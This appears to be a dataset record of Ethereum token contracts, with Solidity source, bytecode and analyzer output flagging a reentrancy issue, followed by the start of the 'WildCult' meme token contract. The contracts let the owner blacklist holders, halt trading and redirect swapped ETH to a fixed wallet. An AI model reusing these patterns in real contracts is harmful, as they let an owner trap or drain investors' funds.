require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 10000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104b057600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae6565b6105fb565b005b34801561020a57600080fd5b506040805180820190915260078152664b657654414d4160c81b60208201525b6040516102379190611bab565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611c00565b61069a565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50670de0b6b3a76400005b604051908152602001610237565b3480156102d957600080fd5b506102606102e8366004611c2c565b6106b1565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610237565b34801561032b57600080fd5b50601554610290906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611c6d565b61071a565b34801561036b57600080fd5b506101fc61037a366004611c9a565b610765565b34801561038b57600080fd5b506101fc6107ad565b3480156103a057600080fd5b506102bf6103af366004611c6d565b6107f8565b3480156103c057600080fd5b506101fc61081a565b3480156103d557600080fd5b506101fc6103e4366004611cb5565b61088e565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611c6d565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610290565b34801561045657600080fd5b506101fc610465366004611c9a565b6108cc565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260078152664b455654414d4160c81b602082015261022a565b3480156104bc57600080fd5b506101fc6104cb366004611cb5565b610914565b3480156104dc57600080fd5b506101fc6104eb366004611cce565b610943565b3480156104fc57600080fd5b5061026061050b366004611c00565b610af9565b34801561051c57600080fd5b5061026061052b366004611c6d565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc610b06565b34801561056157600080fd5b506101fc610570366004611d00565b610b5a565b34801561058157600080fd5b506102bf610590366004611d84565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611cb5565b610bfb565b3480156105e757600080fd5b506101fc6105f6366004611c6d565b610c2a565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611dbd565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611df2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611e1e565b915050610631565b5050565b60006106a7338484610d14565b5060015b92915050565b60006106be848484610e38565b610710843361070b85604051806060016040528060288152602001611f38602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611374565b610d14565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611dbd565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611dbd565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f5816113ae565b50565b6001600160a01b0381166000908152600260205260408120546106ab906113e8565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611dbd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611dbd565b662386f26fc100008111156107f557601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161062590611dbd565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062590611dbd565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062590611dbd565b60028411156109cc5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b6064820152608401610625565b600e821115610a285760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b6064820152608401610625565b6002831115610a885760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b6064820152608401610625565b600e811115610ae55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b6064820152608401610625565b600893909355600a91909155600955600b55565b60006106a7338484610e38565b6012546001600160a01b0316336001600160a01b03161480610b3b57506013546001600160a01b0316336001600160a01b0316145b610b4457600080fd5b6000610b4f306107f8565b90506107f58161146c565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161062590611dbd565b60005b82811015610bf5578160056000868685818110610ba657610ba6611df2565b9050602002016020810190610bbb9190611c6d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bed81611e1e565b915050610b87565b50505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161062590611dbd565b601755565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161062590611dbd565b6001600160a01b038116610cb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610f605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610f8c57506000546001600160a01b03838116911614155b1561126d57601554600160a01b900460ff16611025576000546001600160a01b038481169116146110255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b6016548111156110775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff161580156110b957506001600160a01b03821660009081526010602052604090205460ff16155b6111115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b038381169116146111965760175481611133846107f8565b61113d9190611e39565b106111965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b60006111a1306107f8565b6018546016549192508210159082106111ba5760165491505b8080156111d15750601554600160a81b900460ff16155b80156111eb57506015546001600160a01b03868116911614155b80156112005750601554600160b01b900460ff165b801561122557506001600160a01b03851660009081526005602052604090205460ff16155b801561124a57506001600160a01b03841660009081526005602052604090205460ff16155b1561126a576112588261146c565b47801561126857611268476113ae565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112af57506001600160a01b03831660009081526005602052604090205460ff165b806112e157506015546001600160a01b038581169116148015906112e157506015546001600160a01b03848116911614155b156112ee57506000611368565b6015546001600160a01b03858116911614801561131957506014546001600160a01b03848116911614155b1561132b57600854600c55600954600d555b6015546001600160a01b03848116911614801561135657506014546001600160a01b03858116911614155b1561136857600a54600c55600b54600d555b610bf5848484846115f5565b600081848411156113985760405162461bcd60e51b81526004016106259190611bab565b5060006113a58486611e51565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b600060065482111561144f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b6000611459611623565b90506114658382611646565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611df2565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150857600080fd5b505afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611e68565b8160018151811061155357611553611df2565b6001600160a01b0392831660209182029290920101526014546115799130911684610d14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611e85565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160257611602611688565b61160d8484846116b6565b80610bf557610bf5600e54600c55600f54600d55565b60008060006116306117ad565b909250905061163f8282611646565b9250505090565b600061146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ed565b600c541580156116985750600d54155b1561169f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c88761181b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fa9087611878565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172990866118ba565b6001600160a01b03891660009081526002602052604090205561174b81611919565b6117558483611963565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117c88282611646565b8210156117e457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361180e5760405162461bcd60e51b81526004016106259190611bab565b5060006113a58486611ef6565b60008060008060008060008060006118388a600c54600d54611987565b9250925092506000611848611623565b9050600080600061185b8e8787876119dc565b919e509c509a509598509396509194505050505091939550919395565b600061146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611374565b6000806118c78385611e39565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b6000611923611623565b905060006119318383611a2c565b3060009081526002602052604090205490915061194e90826118ba565b30600090815260026020526040902055505050565b6006546119709083611878565b60065560075461198090826118ba565b6007555050565b60008080806119a1606461199b8989611a2c565b90611646565b905060006119b4606461199b8a89611a2c565b905060006119cc826119c68b86611878565b90611878565b9992985090965090945050505050565b60008080806119eb8886611a2c565b905060006119f98887611a2c565b90506000611a078888611a2c565b90506000611a19826119c68686611878565b939b939a50919850919650505050505050565b600082611a3b575060006106ab565b6000611a478385611f18565b905082611a548583611ef6565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b8035611ae181611ac1565b919050565b60006020808385031215611af957600080fd5b823567ffffffffffffffff80821115611b1157600080fd5b818501915085601f830112611b2557600080fd5b813581811115611b3757611b37611aab565b8060051b604051601f19603f83011681018181108582111715611b5c57611b5c611aab565b604052918252848201925083810185019188831115611b7a57600080fd5b938501935b82851015611b9f57611b9085611ad6565b84529385019392850192611b7f565b98975050505050505050565b600060208083528351808285015260005b81811015611bd857858101830151858201604001528201611bbc565b81811115611bea576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1357600080fd5b8235611c1e81611ac1565b946020939093013593505050565b600080600060608486031215611c4157600080fd5b8335611c4c81611ac1565b92506020840135611c5c81611ac1565b929592945050506040919091013590565b600060208284031215611c7f57600080fd5b813561146581611ac1565b80358015158114611ae157600080fd5b600060208284031215611cac57600080fd5b61146582611c8a565b600060208284031215611cc757600080fd5b5035919050565b60008060008060808587031215611ce457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1557600080fd5b833567ffffffffffffffff80821115611d2d57600080fd5b818601915086601f830112611d4157600080fd5b813581811115611d5057600080fd5b8760208260051b8501011115611d6557600080fd5b602092830195509350611d7b9186019050611c8a565b90509250925092565b60008060408385031215611d9757600080fd5b8235611da281611ac1565b91506020830135611db281611ac1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3257611e32611e08565b5060010190565b60008219821115611e4c57611e4c611e08565b500190565b600082821015611e6357611e63611e08565b500390565b600060208284031215611e7a57600080fd5b815161146581611ac1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed55784516001600160a01b031683529383019391830191600101611eb0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3257611f32611e08565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205fd9e120bb87ee369020df43ced696c5b795ea05fe85b9a82991060544af98bf64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,925 |
0x19f3ef726ecd6a4af348480492fa2191165fb5c0
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
/**
Welcome to WildCult!
WildCult is meme token based on Original Cult token success!
Landing page - https://www.WildInu.info
Twitter account - https://twitter.com/WildCultToken
Telegram - https://t.me/WildPortal
Initial liquidity 3 ETH
MaxWallet: 3%
Liquidity lock: 3 months
Tokenomics :
12% Buy/Sell Tax
8% Goes to Marketing/Contests
4% Goes back to Liquidity pool.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WildCult is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WildCult";
string private constant _symbol = "WildCult";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x92909a202DE94526CbF5cA1153588cf119ae88fD);
address payable private _marketingAddress = payable(0x92909a202DE94526CbF5cA1153588cf119ae88fD);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 30000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
